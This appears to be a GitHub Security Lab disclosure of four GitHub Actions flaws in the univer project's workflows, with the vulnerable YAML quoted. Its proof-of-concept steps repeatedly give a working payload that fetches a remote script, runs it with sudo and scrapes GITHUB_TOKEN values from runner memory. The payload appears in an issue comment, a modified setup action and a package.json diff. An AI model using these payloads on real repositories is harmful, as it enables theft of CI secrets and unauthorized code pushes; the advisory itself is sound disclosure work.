Coordinated Disclosure Timeline

Summary

Univer uses multiple actions workflows vulnerable to actions injections.

Project

dream-num/univer

Tested Version

Latest

Details

Issue 1: Code injection in .github/workflows/update-snapshots.yml (GHSL-2024-209)

The update-snapshots.yml workflow runs on any of the comment created on an issue or a PR, and executes echo ${{ github.event.comment.body }} - a command with the content of a given comment, which could allow an attacker to execute arbitrary commands on an actions runner.

name: 🎭 Update Snapshots

on:
    # It looks like you can't target PRs-only comments:
    # https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_comment-use-issue_comment
    # So we must run this workflow every time a new comment is added to issues
    # and pull requests
    issue_comment:
        types: [created]

jobs:
    echos:
        runs-on: ubuntu-latest
        steps:
            - name: Debug echo is conditions
              run: echo ${{ github.event.comment.body }}

Proof of Concept

  1. Comment on any issue or pull request with this payload, which will exfiltrate the GITHUB_TOKEN.
    ""; curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64
    
  2. Go to the “Actions” tab and check the Update snapshot workflow for the above comment. You should see base64 encoded token in the logs.

Impact

The job is run with all write permissions, which an attacker would be able to misuse to, for example, push arbitrary code to the repository.

GITHUB_TOKEN Permissions
  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write

Resources

Issue 2: Execution of untrusted code in update-snapshots.yml (GHSL-2024-210)

The update-snapshots.yml workflow runs on any of the comment created on an issue or a PR. The update-snapshots job executes if the comment is /update-snapshots and executes the local action ./.github/actions/setup-node/action.yml on line 65. An attacker could create a pull request with a changed ./.github/actions/setup-node/action.yml script and run arbitrary code on the runner.

name: 🎭 Update Snapshots

on:
    # It looks like you can't target PRs-only comments:
    # https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_comment-use-issue_comment
    # So we must run this workflow every time a new comment is added to issues
    # and pull requests
    issue_comment:
        types: [created]

--- code cut for readability

    update_snapshots:
        # Run this job only on comments of pull requests that strictly match
        # the "/update-snapshots" string
        if: ${{ github.event.issue.pull_request && github.event.comment.body == '/update-snapshots' }}
        timeout-minutes: 10
        runs-on: ubuntu-latest
        steps:
            # Checkout and do a deep fetch to load all commit IDs
            - uses: actions/checkout@v4
              with:
                  fetch-depth: 0 # Load all commits
                  token: ${{ secrets.GITHUB_TOKEN }}

--- code cut for readability

            - name: Setup Node.js
              uses: ./.github/actions/setup-node

Proof of Concept

  1. Create a pull request with the ./.github/actions/setup-node changed to:
name: Node Setup
description: Node.js setup for CI, including cache configuration

runs:
    using: composite
    steps:
        - run: curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64
          shell: bash
  1. Comment on the pull request:
/update-snapshots
  1. Go to the “Actions” tab and check the Update snapshot workflow for the above comment. You should see base64 encoded token in the logs for the Node Setup step.

Impact

The job is run with all write permissions, which an attacker would be able to misuse to, for example, push arbitrary code to the repository.

GITHUB_TOKEN Permissions
  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write

Resources

Issue 3: Execution of untrusted code in Actions in .github/workflows/preview-deploy.yml build-demo job (GHSL-2024-211)

The .github/workflows/preview-deploy.yml workflow runs after the build.yml completes (which runs on each push or pull request to the dev branch). the build-demo executes the local action ./.github/actions/setup-node/action.yml on line 110 and runs scripts from the package.json file on line 118.

An attacker could create a pull request with a changed .github/setup-node/action.yml file or with a malicious package.json file and exfiltrate secrets available to the workflow, such as VERCEL_TOKEN.

name: 📤 Preview Deploy

on:
    workflow_run:
        workflows:
            - 🎬 Setup
        types:
            - completed

permissions:
    contents: read
    pull-requests: write

jobs:
--- code cut for readability

    build-demo:
        runs-on: ubuntu-latest
        needs: [setup]

        outputs:
            preview-url: ${{ steps.vercel-demo-dev.outputs.preview-url == '' && steps.vercel-demo.outputs.preview-url || steps.vercel-demo-dev.outputs.preview-url }}
            commit-message: ${{ steps.commit-message.outputs.value }}

        steps:
            - name: Checkout
              uses: actions/checkout@v4
              with:
                  repository: ${{ needs.setup.outputs.repo }}
                  ref: ${{ needs.setup.outputs.ref }}

            - name: Setup Node.js
              uses: ./.github/actions/setup-node

Proof of Concept

  1. Create a pull request with the package.json changed to:
    @@ -32,7 +32,7 @@
         "coverage": "turbo coverage -- --passWithNoTests",
         "build": "turbo build --no-cache --concurrency=50% --filter=!./common/* && pnpm --filter @univerjs/umd build:umd",
         "build:ci": "turbo build --concurrency=100% --filter=!./common/*",
    -       "build:demo": "pnpm --filter univer-examples build:demo",
    +       "build:demo": "curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64",
         "build:e2e": "pnpm --filter univer-examples build:e2e",
         "serve:e2e": "serve ./examples/local",
         "test:e2e": "playwright test",
    
  2. Go to the “Actions” tab and check the Preview Deploy workflow for the PR. You should see a base64 encoded token in the build-demo job Build demo step.

Impact

The job is run with access to a number of secrets:

Issue 4: Execution of untrusted code in Actions in .github/workflows/preview-deploy.yml build-storybook job (GHSL-2024-212)

The .github/workflows/preview-deploy.yml workflow runs after the build.yml completes (which runs on each push or pull request to the dev branch). The build-storybook job executes the local action ./.github/actions/setup-node/action.yml on line 159 and runs scripts from the package.json file on line 163.

An attacker could create a pull request with a changed .github/setup-node/action.yml or with a malicious package.json file and exfiltrate secrets available to the workflow, such as VERCEL_TOKEN.

name: 📤 Preview Deploy

on:
    workflow_run:
        workflows:
            - 🎬 Setup
        types:
            - completed

permissions:
    contents: read
    pull-requests: write

jobs:
--- code cut for readability

    build-storybook:
        runs-on: ubuntu-latest
        needs: [setup]

        outputs:
            preview-url: ${{ steps.vercel-storybook-dev.outputs.preview-url == '' && steps.vercel-storybook.outputs.preview-url || steps.vercel-storybook-dev.outputs.preview-url }}

        steps:
            - name: Checkout
              uses: actions/checkout@v4
              with:
                  repository: ${{ needs.setup.outputs.repo }}
                  ref: ${{ needs.setup.outputs.ref }}

            - name: Setup Node.js
              uses: ./.github/actions/setup-node

            # ================= Deploy Storybook =================
            - name: 📦 Build storybook
              run: pnpm storybook:build

Proof of Concept

  1. Create a pull request with the ./.github/actions/setup-node changed to:
  2. Go to the “Actions” tab and check the Preview Deploy workflow for the above PR. You should see base64 encoded token in the logs for the build-demo step.
name: Node Setup
description: Node.js setup for CI, including cache configuration

runs:
    using: composite
    steps:
        - run: curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64
          shell: bash
  1. Go to the “Actions” tab and check the Preview Deploy workflow for the PR. You should see a base64 encoded token in the build-storybook job Setup Node.js step.

Impact

The job is run with access to a number of secrets:

Credit

These issues were discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-209, GHSL-2024-210, GHSL-2024-211, or GHSL-2024-212 in any communication regarding these issues.